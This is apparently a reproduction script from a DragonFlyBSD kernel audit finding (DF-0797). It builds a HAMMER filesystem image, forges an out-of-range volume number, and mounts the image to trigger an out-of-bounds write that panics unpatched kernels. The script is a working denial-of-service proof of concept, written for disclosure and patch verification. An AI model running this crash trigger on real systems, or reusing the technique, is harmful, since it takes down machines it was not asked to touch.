⬢ DragonFlyBSD Kernel Audit
DF-0797 / run.sh
← back to finding ↓ download raw 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/bin/sh
# DF-0797 run script -- full reproduction pipeline.
#
# Two parts:
#   (1) ./harness                 deterministic OOB-write proof (shows the
#                                 __hammer_vol_index(vol_no) out-of-bounds
#                                 for vol_no 256 / 0x7FFFFFFF / -1)
#   (2) craft + mount             GENERIC #0 panic at mount via crafted
#                                 HAMMER image with vol_no=0x7FFFFFFF
#
# The mount step is the acceptable "admin mounted a crafted filesystem image"
# precondition (root-only).  On the UNPATCHED kernel: mounting the crafted
# image writes hmp->volume_map[0x1FFFFFF] |= bit -> ~256 MiB OOB -> page fault
# -> immediate kernel panic.  On the PATCHED kernel: hammer_install_volume()
# rejects vol_no with EFTYPE before hammer_volume_number_add() is reached, the
# mount fails cleanly, no panic.
#
# MUST be run as root inside the DragonFly guest with the PoC built.
# Usage: ./run.sh [vol_no]   (default 0x7FFFFFFF = panic trigger)
set -e
cd "$(dirname "$0")"
VOLNO=${1:-2147483647}   # 0x7FFFFFFF
IMG=/root/df0797.img

echo "================================================================"
echo " PART 1: deterministic OOB-write primitive proof (./harness)    "
echo "================================================================"
./harness

echo
echo "================================================================"
echo " PART 2: GENERIC #0 panic via crafted HAMMER image + mount      "
echo " (run this ONLY on the UNPATCHED kernel -- it panics GENERIC)   "
echo "================================================================"
echo "[*] creating 1GB HAMMER v1 image ($IMG)"
dd if=/dev/zero of="$IMG" bs=1m count=1024 2>&1 | tail -1
vnconfig -c vn0 "$IMG"
echo "[*] newfs_hammer -f -L TEST /dev/vn0"
newfs_hammer -f -L TEST /dev/vn0 2>&1 | tail -3
mkdir -p /mnt
echo "[*] mounting fresh image briefly to ensure root volume initialised"
mount -t hammer -o nohistory /dev/vn0 /mnt
echo alpha > /mnt/seed.txt
sync
umount /mnt
vnconfig -u vn0

echo "[*] forging vol_no = $VOLNO (no CRC recompute -- crc not validated at mount)"
./craft_img "$IMG" "$VOLNO"

echo "[*] mounting crafted image (root precondition)"
vnconfig -c vn0 "$IMG"
echo "[*] mount -t hammer -o nohistory /dev/vn0 /mnt"
echo "    -> on #0 UNPATCHED: immediate kernel panic (~256 MiB OOB write)"
echo "    -> on #1 PATCHED:   EFTYPE/EINVAL, mount fails cleanly, no panic"
mount -t hammer -o nohistory /dev/vn0 /mnt 2>&1
RC=$?
echo "mount returned rc=$RC"
if [ $RC -eq 0 ]; then
    echo "[*] mount succeeded (PATCHED or unaffected kernel); unmounting"
    umount /mnt 2>/dev/null || true
fi
vnconfig -u vn0 2>/dev/null || true
echo "[*] done.  If running on #0, check dfbsd-qemu/boot.log for the panic."